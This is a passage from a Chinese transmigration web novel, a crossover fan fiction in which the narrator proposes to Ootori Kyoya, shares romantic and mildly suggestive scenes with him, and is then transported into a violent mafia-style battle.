他还未转身后背忽然撞上一具身体,后背的肌肉紧绷又即刻放松,即便只是细微的声音,他也能认出来。
他清冷俊秀的眉眼在明亮的车灯下显而易见的融化开来。
我的脸埋在凤镜夜的后背,眼睛紧张的闭起来。
看着他站在那里,还没反应过来,身体就自己动起来了。
我双手抓紧他的衣角,阻止他转身的动作,深吸一口气,松开手指掏出戒指,绷着脸绕到他身前在他的注视下抓着他的手单膝跪地将脸颊贴在他带着凉意的掌心。
直到他的掌心染上我的温度,
他的瞳孔颜色太深,注视着我看不清情绪。
我感受着胸腔超负荷工作的心跳,在心里祈祷。
“神子”大人请继续帮助我吧!
我打了很长时间的腹稿,结果还是脑子一片空白,声音断断续续:“本来……今天晚上想要去找你。”
“因为不想要做无谓的等待,也想要对镜夜做出回应,现在应该也还不晚对吧?”
我朝他笑了笑,拿出我的定做的戒指,屏住呼吸将它放进凤镜夜的掌心,朝他递出我的手。
他收拢了掌心,非常用力,连指节都泛起苍白的色泽。
我起身后退一步注视着他:“那个……可以再来一次吗?”
我在心里慌乱的数了几秒,没等到回应,咬了咬唇,仰头迫切的注视着他深邃的眼睛。
失败了?
不,他的状态好像有点不对。
我伸手按向他僵硬的胸膛,中途左手却仿佛有自己的意识转了个弯,简单粗暴的拉起他的左手,将手心的男款的戒指直接强硬的套进了……中指。
我眨了眨眼。
“神子”大人居然真的回应了我的祈祷吗?
但是戴在中指……我注视着他本就戴了一枚钻戒的无名指,片刻后眼神释然。
大概是没位置的原因吧。
还真是失礼呢,刚才一瞬间升起了对“神子”大人不礼貌的想法。
有了“祂”的帮助,我似乎找到了点底气,牵住他的手指:“这是我回国之前定制的,因为镜夜提前送了才一直没有送出去。”
我看着他的眼睛解释:“但果然是我想错了,表达心意这种事,还是不能省略吧。”
“唔!镜夜?”
凤镜夜注视着她,视线在她黑发上的头纱停顿片刻,然后一刻不停的落在她还带着点狼狈的脸上。
身体不自觉紧绷,身体欣喜若狂的想要回应,想要将她娇小的身体紧紧地搂入怀中,想要让那张已经没有什么比之更可爱的脸露出只有他能看见的表情。
想要……
但是不行,他生病了。
还差一点就可以。
……不想让她受到哪怕一点点伤害。
他的身体陷入了本能和理智的交锋。
手指忽然出现的束缚的凉意,如同一滴冰凉的雨滴落在焦灼的心尖。
她是那样虔诚的看着我。
凤镜夜同样虔诚的将她用最温柔又最克制的力道拢进怀中,一触即离,轻柔的吻落在她的指节,银色的指环一点点推进她的指节。
“谢谢你。”
谢谢你在用心爱我。
他将额头臣服的抵在她的手背:“我也一样。”
所有东西都将为你敞开。
·
咒术界最不能惹的人——五条悟。
就算是刚识字的小孩都知道这个名字。
但在总监会改革的第十年,众人从重建又彻底坍塌又再次重建的五条家以及总监会驻地来看,他不好惹的程度已经进化到路过的咒术师都要被踢两脚的程度。
总结来说五条悟——陷入了疯狂。
因为一个不存在的妻子。
据说他的妻子叫黑川一,是黑川家不受宠的庶女,因此黑川家的建筑在被五条悟找茬后还能幸存。
但无论他们动用怎样的力量寻找都找不到此人存在过的痕迹。
所有人都认为他疯了,却不得不配合。
五条宅最深处的庭院,家主居住之处,是所有人不敢轻易靠近的地方。
直到那一天,诸位长老被满脸兴奋的家主从床上捞了起来,一个个表情惊恐的被扔到院子里。
他终于忍不住要大开杀戒了吗? !
五条悟的表情却前所未有的冷静,睁大的蓝眸却氤氲着巨大的的兴奋,朝他们展开了领域。
不属于这个世界的画面一股脑涌入脑海。
然后他们看到家主兴奋的指着那个和壮汉缠斗的黑发女孩说:“我就知道,她一定存在!就是她。”
“我的妻子。”
最后四个他说的无比温柔,却让他们齐刷刷打了个寒颤,家主的疯病又加重了吗? !
他们忍受着脑海中被灌注大量信息的疼痛,等待着五条悟的下一步计划。
果然五条悟很快冷静下来:“我来拖延时间,你们抓紧时间,一定要给我定位到她的坐标,你们做得到吧?”
完全是做不到就杀了你的眼神啊!
长老们露出命苦的表情,艰难的点头。
他们找到可以标记咒力的咒具,并且分工定位地理坐标,认命的干了起来。
然后他们一群年过半百的老人家就眼睁睁的看着,家主夫人对另一个男人投怀送抱。
长老们:那很坏了。
他们屏住呼吸偷偷看向家主。
五条悟不语,五条悟冷静,五条悟冷笑着扇了那男人两巴掌。
一巴掌是为你觊觎我的妻子扇的。
一巴掌是为你居然敢让她抱住扇的。
长老们若无其事的收回视线,果然是还是那个家主大人。
五条悟好不容易寻找到她的踪迹,又利用六眼解析那一丝抓住的信息,成功连接到她所在的地方,只是动了两巴掌,落在身上的挤压感却陡然上升。
他不甘的停下动作,眼神眷恋的看着他可爱的妻子。
找东西可爱,跑起来也可爱,抱住人的时候也……等等。
五条悟目眦欲裂的看着属于他的可爱的柔软的似乎不认识他了的妻子,抱住那个没用的男人,甚至还主·动·告·白!
输了。
他面无表情的捏碎了价值千金的定位咒具。
又在长老们紧张的视线里转身。
“看着我干什么,如果定位不到你们今天就退休吧。”
“……是!”
他的双眼埋在阴影中,看着那个男人僵硬的身体,嗤笑一声。
无用至极,你拿什么和我争。
可从链接的身体里传来的情绪让他收敛了表情。
他垂在身侧的手紧握成拳,咬牙切齿:“就这么难过吗?为了这种家伙?!”
他终于将那个普通男人看入眼中,并产生了浓烈的杀意,随之而来的是世界屏障陡然加大的驱逐力。
“咳!”
他吐出一口鲜血,咬牙将那枚指环给那男的戴上,以欺骗世界意识。
没关系。
他擦去唇角的鲜血,透过黑川一的双眼沉沉的注视着那个男人,就让他再得意一会儿,他已经收集到坐标了。
再过不久,他可爱的妻子就会回到他的身边。
小一不记得了他不怪她。
他会好好料理那个奸夫。
——链接断开。
第96章
那天晚上回去后,凤镜夜第一次以脆弱的姿态在我面前说起他的病情。
他用轻描淡写的语气描说出比我想象中严重得多的事实,黑眸中病情之外的担忧却最让我心头微痛。
我坐在床上,他依靠在办公椅上,两人身上都换了身宽松舒适的家居服, 我能嗅到他身上温润的水汽与更加浓郁的鸢尾香气。
——他认为这样的环境有利于放松和吐露心声, 事实上也许有点用, 在分散注意力上。
我看他身上光滑质地的丝绸睡衣,随着弯曲的脊背,顺着背肌的弧度顺畅的描绘出其下清瘦的弧度,微长的黑发贴在冷白的脖颈慢悠悠挤出一滴水珠,顺着肩颈线条消失在衣领当中。
已经继承家业的凤家继承人就这样扶着我落在地上的腿,自下而上的看着我,总是神秘的让人看不清情绪的瞳孔在这一刻是纯净的。
如同朝圣中,自愿向上帝献出自己柔软肉/体的山羊,他用漆黑的方形瞳孔静静的注视着被赋予权利的人,并且对接下来的结果好的坏的都甘之如饴。
显然被他亲自赋予了某种特权的人并不会让他失望。
他口中所叙述的病因避重就轻,但我并不能就这样轻松的将我完全摘除出去。
在那双冷静的黑眸中,我微微俯身,按着他的脑袋将他拥入怀中,并怜惜的亲吻他的发顶。
我并不知道该怎样安慰不安的爱人,只能单调的亲吻着他的发顶,不断重复。
“我会陪着你的。”
他静静的将手搭在我的大腿上,黑眸满怀信赖,轻轻地从喉咙里挤出一点声音,他毫无保留的相信了我的话,就像他毫无保留的袒露内心的踌躇。
我双手插进他的发间,如同安抚一只忠诚的狐狸一样抚慰着他。
即便他放在我腿上的双手宽大到将它横向覆盖。
我低头轻轻贴住他的双眼, 如同奖励一位忠诚的骑士一样奖赏他。
即便他的身形那样宽大能够轻而易举的调换主次。
角落里燃着的香薰中的火光轻轻跳了跳,发出细微的声响。
摇动的烛火将一高一矮互相依偎的影子倒映在墙上,弱者占据主动,强者自甘臣服,柔软者给予救赎,沉沦者欣然奔赴。
温柔的烛火里,较高的影子腰间出现一双手,身形越发拔高,纤瘦的影子在墙上弯出一道漂亮的曲线。
较矮的影子越发下沉将人越拥越紧。
他忍耐着痛苦,满心欢喜的想要给予她更多……
直到那具弯成漂亮弧度的身体再也支撑不住,如同一支拉到极致猝然断裂的弓,挣扎着软倒下去。
掌中传来细微的颤抖。
窗台上他亲手栽种的鸢尾花枝颤动。
茎叶清脆得一折就断,在轻微的挤压中,发出细微的水声,汁液迸溅。
我脸颊涨红的看着幻觉般轻轻摇晃的天花板,身体蜷缩成一团,口中的喘息急促到忍不住将指节塞进嘴里咬住,留下湿濡的咬痕。
身体两侧的床垫微微凹陷。
我模糊的视线里出现了凤镜夜的脸。
我松开拽着被子的手,疑惑的伸出手去摸了摸他的脸,指尖轻点镜片:“这是……”
还没问出口我就顿住。
指尖触及镜片上微凉水渍的时候我向模糊的神经终于动了动,血流冲上脑袋,我倏然将手缩回来。
却被另一手按住了手背。
我看着他微笑着侧头将湿润的唇印在我的掌心,手指不受控制的蜷缩起来,忍不住张了张口,都到这一步了,应该是要继续的吧?
我闭了闭眼抑制住打哈欠的冲动,强行打起精神。
身体却忽然腾空。
我紧张的张开眼睛,勾住他的脖子,与他带着笑意的眼睛对上:“要去哪儿?!”
凤镜夜掀开被子裹着怀里的人一同躺进被子里,他贴着怀中人的脸颊,将双腿纠缠在一起调整成他想要的姿势,轻声:“睡吧。”
我震惊的看着他,睡意都飘走了一些。
不做了? !
虽然我确实很困,但都到这种程度还能忍住继续忍耐,让我不自觉思考起那些药物的作用里会不会有抑制勃/起的成分。
我趴在他怀中眼神逐渐变得小心翼翼,低头遮掩住脸上的表情,也伸手探索着拍拍他的脑袋。 “正……正好困了呢,睡吧。”
我闭上眼睛,身体被紧紧的困住,带来恰到好处的安全感,很快就陷入了甘甜的梦境。
凤镜夜看着迅速睡过去的家伙,半晌冷哼一声。
这家伙不会不知道自己迷迷糊糊都说出来了吧?
·
春绯和须王环的订婚典礼在须王家投资的豪华酒店举行。
我赶到附近的时候不出意外看见几乎将道路拦住的豪车,无奈的对司机说:“就在这里下车吧,辛苦了。”
我提着裙摆小心翼翼的避开车辆,在酒店门前的豪车当中穿梭,一辆辆扫过。
“诶?不是在这里附近吗?”
我转头看向表情防备的门童,询问:“请问你知道这个车牌的车停在哪儿了吗?”
他表情更加谨慎,对眼前从唯一一辆计程车当中下来的女人,狐疑道:“请问你是?”
“她可是凤家镜夜少爷的妻子哦。”
“黑川一?镜夜少爷没有陪你一起来吗?”
表情高傲的女人朝我点点头:“你自己来就算了,就这样站在门前真是太难看了,走吧,我带你进去。”
我看着她眨眨眼:“山田美子?”
山田美子朝她伸出手,见她迟钝的没动作,臭着脸主动牵着她的手往前走:“这么多年过去居然还这幅样子,镜夜少爷不在你就这样让人欺负吗?”
“真不知道我当年是怎么输的。”
我跟着她一同进了酒店,听着她絮絮叨叨的声音,有些插不进话,最终还是静静听着她抱着某种责任心跟我介绍重要任务的信息。
“所以你要是今天一个的话,我就勉强让你跟着我好了。”
我递了杯度数不高的酒给她:“我记得你之前喝的是这个?”
“啊,嗯。”
山田美子接过酒喝了一口不知道看着我在想什么没说话了。
我暗暗松了口气,解释道:“我今天是因为有作业要做,必须提前腾出今天晚上的时间,所以才没和镜夜一起来的。”
“而且也没有被欺负。”
她欲言又止,最终还是点点头。
“那下次记得让司机送你来。”
看起来根本不信的样子。
我只好略过这个话题:“不过山田会主动帮我,还挺让人意外的。”
我看着身形健美皮肤微黑的女人,差点和以前的样子联系不起来,不过还是现在的样子更精神:“你变了很多,看起来和镜夜他们一样。”
山田美子闻言哈哈大笑:“和镜夜少爷他们一样?总之,还是多谢你的夸奖了。”
她说:“帮你当然是为了那件事道歉,那天我回去被父亲责骂了一顿,还被关了禁闭,出来之后你也走了。”
“镜夜少爷他们不可能给我你的联系方式,这件事还真是在我心里压抑了很长时间。”
山田美子深深地朝我躬身:“我为以前的轻率与愚蠢向你道歉。”
“诶?!”
我将她扶起来,被聚集看过来的视线弄得有些不好意思:“其实那时候你也是为了家族吧,我也不太懂,不过每个人都有每个人的立场就是了。”
“说实话我还挺佩服山田你的行动力的。”
山田美子抿唇:“可那是错的,是我误解了父亲的话,商业的竞争中不当的手段占据高地时,我们就没有能力做出让人幸福的产品了。”
“所以我才要向你道歉,还有感谢。”
原来是这样啊。
我看着比我高了半个脑袋的山田美子,没忍住摸了摸她卷曲的黑发。
手感很好。
“嗯嗯,你的歉意我收到了,请继续努力吧。“
山田美子怔了一下,望着笑容柔软可爱的黑川一,就这样轻易的原谅她了吗?
“不……我还准备了……”
“不好意思,我先带着夫人去帮忙,失陪了。”
忽然出现的黑发男人手臂极其自然的环住妻子的腰,让她的肩膀抵在自己的胸膛,那是一个非常有占有欲的姿势。
他居高临下的看着山田美子,轻轻点头,就转身将人带走。
山田美子怅然若失的看着两人消失的方向,端着酒杯的手下意识摩挲着杯壁,喃喃自语:“那是凤镜夜?原来她没有骗我啊。”
他看着妻子那样专注又倾注爱意的眼神,肢体不自觉表现出的强势却又小心翼翼的不让妻子察觉。
她不用回头就能确认来人的表情好像更可爱了,回应丈夫的表情包容又纵容,那样已经在商界崭露头角的男人在她眼里仿佛就只是爱人而已。
山田美子退后一步一口饮尽酒液,转过头不再看那边。
她想到来之前听到的传言。
那些人只要看到那两人出现在眼前就再也说不出那样的话了吧。
我还没反应过来就已经被带着走出大半个会场,忍不住往后看了一眼,眼前忽然一黑,脑袋被凤镜夜轻轻转了回来。
他冷着脸:“不许看。”
我蹙了蹙眉,盯着他。
他冷静的回视:“你拒绝和我一起出门,答应到酒店就来找我,结果却在拒绝我之后和不相干的人相谈甚欢?”
我表情逐渐缓和,捏了捏他的耳垂:“对不起嘛,就是碰上了,是不是故意落下你的。”
凤镜夜耳垂染上红色,表情却不为所动的凑近:“那为了补偿我,今天晚上我要你在上面,想看你的表情。”
“?”
我被烫到一样把人推开,冷静三连。
“不可能,我拒绝,你别想。”
第97章
众所周知出来混总是要还的。
当我沉迷爱恨情仇直到准备回阿美莉卡面对导师,却发现论文初稿才打开文档的时候,脑袋嗡嗡的,连带着腰和膝盖都开始痛了。
我双手合十放在腿上,正襟危坐的看着再过两天就要交上去的论文,表情平静实际上走了有一会儿了。
如果时光能倒流的话, 打住!没可能的。
可恶, 让员工在任务世界还要努力工作学习,主系统居然还能存活到现在一定是因为手下的打工人被压榨过头, 根本提不起力气反抗!
我反手写了一封抗议信扔进主系统邮箱。
膝盖上忽然多出丝丝清凉。
我反射性向后缩了缩腿,脚踝却被早有预料的抓住。
凤镜夜到阿美莉卡的第一件事就是带着搬家公司将自己的东西全都自觉搬进我家,现在已经换上了休闲衬衫和长裤,手里拿着一瓶散发着刺鼻味道的药油蹲在我面前。
给我的膝盖上药?
我被论文霸凌的身体迟钝的把小腿顺势搁在他膝盖上,顺便沉思膝盖上青紫的痕迹是从哪里来的。
难怪刚刚会觉得膝盖痛。
窗外路过的飞鸟扑棱翅膀的声音让我飘荡的思绪回归。
青紫的膝盖上已经被细心的涂抹了药油, 并且他骨节分明的手掌握住我的小腿,指尖陷入小腿延伸出几道指痕。
他将空闲的掌心按上我的膝盖,抬头朝我微笑:“会有点痛,抱歉,我下次一定会小心的。”
诶?
我还没来及回复就被腿上传来的刺痛弄得抖了抖, 好在冰凉且气味古怪的药油在向摩擦中逐渐发热, 代替了刺痛。
我空闲的小腿在空中晃荡了一下,顺势踩在凳子上,下巴搁在膝盖上看着他的动作,被膝盖上热烫的抚慰舒服得头皮都舒展开了。
我盯着他的发顶,不自觉扯了扯被头顶翘起的发丝:“又不是你造成的,道什么歉,可能是刚回来不小心在什么地方磕碰了。”
“放心吧,我会注意的。”
凤镜夜忽然抬头看了我一眼,眸中的情绪似乎有些意味深长,又似乎只是单纯的担心。
“那小一下次和我一起注意。”
我被捏着小腿换了一边膝盖,闻言毫不留情的戳了戳他的脖颈上的小痣,这是我最近的新发现:“总觉得哪里怪怪的?”
他没有回答只是起身顺便和我交换了一个充斥着药油气息的吻。
他把床上的抱枕递给我,顺便给我倒了杯牛奶放在手边:“这几天我要去公司开会,晚上会按时回来,喝了牛奶早点睡觉。”
“明天我陪你写。”
我抱着穿着婚纱的黑发公仔倒在椅子上,脑袋后仰看着一边叮嘱着琐碎事件,一边打领带的青年,视线不自觉在他无意识勾起的唇角停留。
拇指和食指将他的身形圈在框内。
我将这个画面保存在脑海当中,直到他出门,楼下等候多时的卡宴逐渐驶离,我才揉着头发继续叹息。
“要是这么容易就好了,只剩明天一天的话怎么写得完啊,果然今天还是得熬夜加班。”
反正只要在镜夜回来之前睡觉就没事了。
我一口气喝完牛奶,重新振作起来打下第一行字。
众所周知,文档里只要不再是空白,接下来的事情就不算困难。
我专注的看着屏幕,偶尔分心查阅收集好的资料,以我的形象定制的玩偶不知何时已经滚落到一边。
房间里逐渐的暗了下来,只有电脑还亮着幽幽的光。
我后知后觉停下酸胀的手指时,手机里已经收到凤镜夜返回的讯息:“已经十一点了啊。”
我站直身体,动了动发出脆响的腰,动了动手指。
镜夜:休息了吗?我快到家了,买了点橘子雪糕,要吃的话记得给我消息。
小一:不吃,我已经躺在床上要睡了。
小一:[黑猫盖被.jpg]
我扔下手机小跑着奔进浴室,在凤镜夜抵达之前将自己装进被窝,闭上眼睛装睡。
“咔嚓。”
大门被人打开,一连串从容的脚步声朝房间走来,我一动不动,听着他打开房间的门,空间安静了两秒。
紧接着响起布料摩擦的声音,衣袖上的纽扣碰撞上挂衣杆发出细微的磕碰。
他绕到床的另一边,脚步又顿了顿,把什么东西放在桌上,然后床铺微微下陷,我握紧藏在被子里的手。
不会被发现了……吧?
额头被什么柔软的东西轻贴。
然后一具比我大了一号的身体隔着被子轻轻的以不会将我弄醒的动作将我拥住,耳边似乎还传来他既疲惫又满足的叹息。
我在黑暗中眨眨眼。
公司的事情很麻烦吗?
感觉他很累的样子。
我犹豫了一会儿,最终还是在他准备悄悄起身的时候,从被子里探出手尽力环抱他的脊背:“欢迎回来,今天辛苦了。”
搁在我颈侧的脑袋闷笑一声。
他抬头和我对视:“果然没睡,小一才是辛苦了吧,从我走之后一直写到现在?”
我沉默着与他对视,忽然松开手拽起被子把头裹住:“明明是你打扰到我睡觉了!我可是看在镜夜这么累的情况下,努力打起精神在安慰你哦。”
“嗨嗨——”
他轻声妥协,把我的头从被子里挖了出来,解着衬衫走进浴室:“多亏了小一,我现在精神多了。”
我听着浴室里的水声,抱着被子在床上滚了滚。
“明天和我一起去公司怎么样,明天我有事走不开。”
我无意识撇了撇嘴:“不要,我自己一个人就可以。”
第二天醒来,我看着陌生的天花板怔松半晌,按着额头坐了起来:“这是哪里?”
隔间外的声音停了下来,紧接着熟悉的脚步声朝这边靠近,我掀开被子看着床边的小熊拖鞋眯了眯眼睛。
果然是……
我在门打开的刹那冲了过去,跳起来给他一个抱脸杀,恶狠狠地说:“不是说我自己在家就可以了吗?”
“居然先斩后奏在睡梦中就把我带出来,吓死我了!”
凤镜夜后退一步稳住身体,将隔间门关上挡住其他人的视线,一只手箍住她的腰身防止跌倒,梳理整齐的黑发被弄得凌乱。
他将人撕下来放在床上,将旁边桌上的衣服递过来,扶正歪掉的眼镜:“抱歉,但我还是很想和小一待在一起。”
“……你不想醒过来就看到我吗?”
我拿着衣服被他的眼神看得有点心虚:“也……也还行吧。”
实际上看到镜夜还是有点开心。
他笑了起来:“啊,我知道了,我就知道小一的心情和我是一样的。”
“先换衣服吧,我给你准备了早餐。”
我坐应该是办公室休息间的床上,点点头,用眼神示意他先离开。
凤镜夜推了推眼镜,宠溺上前:“是还没睡醒吗?好了好了不要撒娇,我来吧。”
我面无表情一巴掌拍在他胸口。
“我是说你先出去!”
“啧。”
他眼神带着丝丝遗憾带上门走了出去。
我:“……”
“撒娇的到底是谁啊。”
不过真的让他给我穿衣服?
我迅速套上凤镜夜给我带来的连衣裙,抱着手臂打了个寒战,不要!绝对不要!
为了不再节外生枝,我摸进隔间里的浴室,洗漱完毕才打开门走了出去。
主体为冷淡的灰黑色的宽阔空间映入眼帘,视线尽头是一扇巨大的落地窗,可以俯瞰大半个中心城区。
工作时总是穿着冷淡黑色西装的凤镜夜放下手里的钢笔,摘下眼镜,坐在宽阔的办公桌后朝我招手。
我走了过去,被扶着身体坐到他身上,面前是一份还散发着热气的早餐。
虽然这里暂时没人,我还是不自在的动了动身体。
“你先放我下来,不能让我自己坐一个椅子吗?”
肩膀一重,他从后面将下巴搁在我肩膀上,慢悠悠的说:“不行,我想要坐一起。”
“……”
都说了不要仗着自己是病人随心所欲撒娇了。
我无言的喝了一勺甜粥。
也太甜了吧。
好在吃完早餐后,他就让人搬来了另一把椅子放在并排的位置,带了两只戒指的手撑着下巴,朝我说:“就在这里写论文吧。”
“有不懂的可以问他,艾伦是哥大医学系博士毕业。”
我看向他递来的手机顶端。
艾伦的备注是【家庭医生】。
我动了动眉头,有点想吐槽但还是忍住了,接过凤镜夜递过来的外挂,开始继续修修改改。
期间不断被旁边的家伙骚扰。
三个小时后,我鼓着腮帮子,咬着嘴里的樱桃,转头瞪他一眼。
他做了个暂停的手势,从容的转头:“怎么了?”
我无情的拖着椅子电脑和外挂和他保持一米的距离:“在我写完之前,禁止打断,不然我就让店长住回来。”
正在汇报工作的秘书视线隐晦的在两人身上移动,原本以为看到老板和正常人一样黏黏糊糊贴着妻子已经很诡异了。
没想到更可怕的事情是夫人当着她的面毫不留情的拒绝了老板的贴贴!
她的上进心和好奇心在天人交战,要现在溜走还是留下当战地记者啊!
老板不说话了,老板嘴角动了,她懂,这是要开嘲讽的前摇!
凤镜夜看了她一会儿,上扬的嘴角下降了两个百分点:“好吧。”
秘书神情恍惚的离开了。
给她干哪儿来了,这还是她老板吗?
“让她来做客可以,不过那栋别墅我已经是我们家了。”
我背对着他欢快的继续敲敲打打。
凤镜夜在背后眯了眯眼睛。
我敲下最后一行字,心满意足的保存合上电脑,刚在手机上打出一行感谢,手机就被另一只手抽走。
我后知后觉的看向他,落地窗外的天色已经黑了。
我有些抱歉的看着他:“都这么晚了,是不是等饿了,你怎么不叫我?”
我倒是不太饿,大多数归功于前半段被不知不觉投喂太多了。
办公室外也很安静,已经到了下班时间。
他看都没看手机就合上屏幕,将人从椅子里掐着腰抱了出来放在足够宽大的桌面上,压低身体亲吻她的嘴角。
“等再久都可以。”
“但是我饿了,小一要补偿我。”
我动了动小腿,发现他的膝盖抵在桌边正好将我垂落的小腿压住,不妙的预感逐渐加重,视线翻转。
早有预谋的连衣裙方便了他的动作。
我撑着滑溜得靠不住的桌子,终于明白膝盖上的伤到底是从哪儿来的了。
此时被抱在他怀中一件件套上衣裙,却也没有了生气的力气。
我翻了个白眼。
这家伙的病真的还没好吗? !
【攻略进度完成】
【系统检测到时间不足,即将传送下一个任务】
第98章
任务完成的很突然。
我搭着凤镜夜手臂的手猝不及防的收紧,倏然转头对上他看过来的脸,面板上的传送进度已经开启。
我慌张的张了张唇,鬼使神差的想到那位忽然出现的“神子”,系统没有做好事不留名的高尚。
在短短几秒间, 我想到了一个可能。
“镜夜会一直记得我吧?”
他轻笑一声,紧贴着我后背的胸膛微微振动,发顶传来温柔缱绻的触碰:“说什么傻话。”
“我当然会一直喜……”
摩天大楼顶层,唯一还亮着灯的偌大办公室内,男人声音悠悠在空气中回荡,又因某种不可抗力戛然而止。
他独自坐在办公桌后,手指维持着拥抱着什么的姿势,指尖下意识动了动。
凤镜夜忽然感觉有些冷,放下手指站了起来,却又犹豫着没有离去,视线在一目了然的空间内转动。
头顶惨白的灯光在他脸上打下沉沉的阴影。
·
爆裂的声音、呛人的烟雾、恐惧的哭泣。
我睁开眼扶着胀痛的脑袋,还没搞清楚这次的任务目标,就先被这些复杂的信息砸了一脸,身体各处都疼。
我扶着断了半截的墙壁才勉强从地上站了起来,偷偷往外看,呼吸忽的一滞。
不断制造爆破的是几个穿着黑色制服看不清面容的男人,他们手上燃着奇怪的火焰,通过奇怪的冷兵器或是改造得夸张的热武器肆意的破坏着一切。
致力于将这座巴洛克式的庄园……以及其中的所有人炸成碎片。
地面上已经躺了许多不知是死是活的人影,仍然在负隅顽抗的小队在我这个位置看来也不过是螳臂挡车。
毕竟他们中好像没有人能飞。
“啊!!boss!”
如同抓住最后一根救命稻草般的尖锐哭喊将我惊醒。
我睁大眼睛看到一个浑身是血的孩子朝我奔来, 漂亮的蓝色眼睛里蓄满了泪水, 在她身后不远处一名黑色的敌人。
“不……”
身穿黑衣的敌人注意到我的视线,露出一个残忍的笑容,抬手燃着火焰的长靴轻轻一动,身形瞬间出现在那孩子身后。
“不行!”
我下意识冲了出去,随手捡起一把不知何人遗落在地上的手枪,紧绷着身体拉开保险栓抬手射击。
巨大的冲击力让我的手臂向上扬起,身体却熟练的调整了一下姿势卸力,趁着那人惊讶避开的间隙,我冲上去提着那孩子的衣领往最近的掩体奔去。
我从来没有跑得这么快过。
被拎在手里的孩子抬起脏兮兮的脸,表情呆滞:“大小姐?”
我将她抱在怀中,在赶来支援的小队的掩护下扑进刚才躲藏的断壁后,捂着快要跳出胸口的心脏低头看向怀里:“大小姐?”
我不是boss啊(喜。
也是,这种开局家破人亡的局面也太hard模式了哈哈。
我松开小孩,偷偷观察着外面的情况,我们现在大概是处于整座庄园最中心也是最安全的位置,也代表着要逃出去的话很难。
我伸手在眼前挥了挥。
……不过视线里这些多出来的线条是什么啊。
系统面板随之弹出。
【检测该世界为高危世界,自动为您装配最契合能力】
我狐疑:“之前有响应这么快吗?奇怪,你是不是还瞒着我什么事?”
系统面板毫无动静。
我狠狠戳了戳装死的系统面板:“嘁!”
天杀的系统,直接给我扔进械斗现场,不过现在不是丧气的时候。
外面的状况越来越差,倒下的护卫越来越多,而那些飞在空中燃着奇怪火焰的男人逐渐朝这边靠近。
如果不想创造最快失败召回记录,我必须要行动起来了。
我左右看了看,在还剩下半张的红木桌板材底下勉强抽出一柄装饰用的华丽细剑,拿在手里挥了挥,勉强当做防身武器。
剑柄上雕刻着精美的蛇形浮雕,护手的位置似乎有些奇怪的空洞。
也许是抽出最下面的东西破坏了桌子的平衡,它在我走出一步之后轰然倒塌,有什么圆溜溜的东西咕噜咕噜滚到我脚边碰到鞋面。
我怔了一下,捡了起来。
那是一枚雕刻着蛇与荆棘图案的蓝宝石戒指。
看起来很值钱,带上。
我把戒指揣进兜里,又捡了把枪依靠着那截墙壁,凭借那些人暂时被拖住步伐,开始在背后放冷枪。
奇怪的是那些在同伴伤亡大半之后仍然坚强抵抗的护卫,看见是我在动手的时候,那些壮汉都忍不住露出震惊的表情。
我忍不住出声:“认真点看敌人啊你们!”
他们同时挺直了脊背,不知是不是我的错觉,反抗的枪声似乎更加激烈了。
我拿着枪特意瞄准视野中人体上出现线条的位置,好不容易在活动靶中细线,我握了握拳,兴奋的看着那人的变化。
拿着一柄巨大镰刀的男人身形一顿,摸了摸被洞穿的大腿,以及差一点就被击穿的第三条腿,在空中凝滞了足足一秒。
我兴奋握拳,低声呢喃:“要起作用了吗?!”
身后的衣摆被人小心扯了扯。
“大小姐,我……我们还是先去避难吧!查尔斯大叔他们要顶不住了!”
我却暗骂了一声狗系统,把她往后推,看着越过所有人直勾勾往这边飞来的黑衣人:“你去吧,有人来了。”
攥着衣角的力道没有放松反而越来越紧,她再次开口:“不,大小姐不去我也不去了, boss已经死了,您就是索恩的新任boss !我要跟着您!”
我拽着她一起往后退,目光不离那个踏过残壁的男人:“都成这样了,还什么boss不boss ,保命要紧,你还小,快走!”
更何况这种烂摊子谁要接啊!
我持剑指向那人的胸膛,厉声呵斥:“停下!”
黑衣男人带着看不清面容的统一面罩,声音中的嘲讽却分毫不少的传递出来:“哼?索恩家娇生惯养的废物还想拦住我?”
“让我想想,这把剑还真是眼熟,你的父亲临死之前还握着它,请求我们放过你。”
他上前一步让剑尖抵住胸口,俯身注视着我的眼睛,不断施加压迫:“那也是个没用的男人,身为索恩的boss ,在这样的时刻居然只想着让你一个人活着。”
“可惜他太没用了,连和我们做交易的价值都没有。”
我身后传来一声低泣。
我握剑的手逐渐收紧,明明只是系统安排的身份,脑海中却闪过关于一个黑发男人的记忆,胸口涌上难言的怒火,煎熬着我的心。
视野里男人身上纵横交错的线条更加清晰。
我无端对眼前狂妄的男人生出蔑视。
这么多线啊。
我握着细剑轻轻抵上线条的起点,手背上的青筋爆出,在那人喋喋不休的声线中,我深吸一口气骤然划下。
手中的触感奇异的如同划过空气,又似乎是切开一块极嫩的豆腐。
温热的液体喷溅在身上,好在我提前把小朋友挡在身后。
我注视着地上的尸体,轻声说:“你叫什么名字?”
细微的声音贴着脊背传来:“我叫安娜, boss 。”
“好的安娜,现在开始闭上眼睛,除非我让你睁开好吗?还有不要叫我boss。”
我看着更多朝这边蜂拥而来的黑衣部队,下颌紧绷,他们远远看见地上的尸体却如秃鹫般兴奋的啃噬而来。
安娜呼吸急促,声音带着隐忍的哭腔和信赖:“好的, boss 。”
我一把将她塞进坍塌的桌子底下,来不及擦拭眼睑上的血液,比想象中更多的黑衣入侵者不断朝我靠近。
怎么回事?
从醒来后就酸疼虚弱的四肢却强行驱使,我再一次划开一人的胸口,背后打来的火焰将我炸了出去。
失重感与背后绽开的细密疼痛让我抽着气调整姿势,却还是徒劳的以后背落地的姿势重重摔下,我扣着细剑湿滑的手柄眼前黑了一瞬。
重重脚步声将我围住,手腕脚腕和脖颈同时传来冰凉的拘束感。
有人问:“把基石碎片交出来。”
我睁开模糊的眼睛,透过缝隙看向之前守卫战斗的位置,那里已经没有能站起来的人了。
最近的守卫倒在离我几步开外的位置。
我眨了眨眼,温热的泪猝不及防从眼角滑落,到底什么是家族,已经失去首领的家族,还有什么要付出生命的代价来守护?
一直以来都在自己能做到的安全区域内活着的我,第一次接触到这样的情感。
是愤怒吗?
可又因为认识的时间不够长,了解的不够深使得愤怒也无处安放。
还是遗憾呢?
可我已经尽力了,就算再来一次我也做不到更好,如果他们的boss是一个更有能力的人……
系统召回倒计时已经开始跳动,我闭上眼睛,不断起伏的胸口昭示着我仍然不能平息的心情。
可恶!
回去之后一定要投诉!这种传送时间点简直是强人所难!
都是系统的错!
被我无声的拒绝激怒,脖颈上的链条被倏然提起。
我抓着颈环,狼狈的咳嗽,瞪着他:“你不是很有能耐吗?问我干嘛,自己找啊,没用的东西!”
“你!”
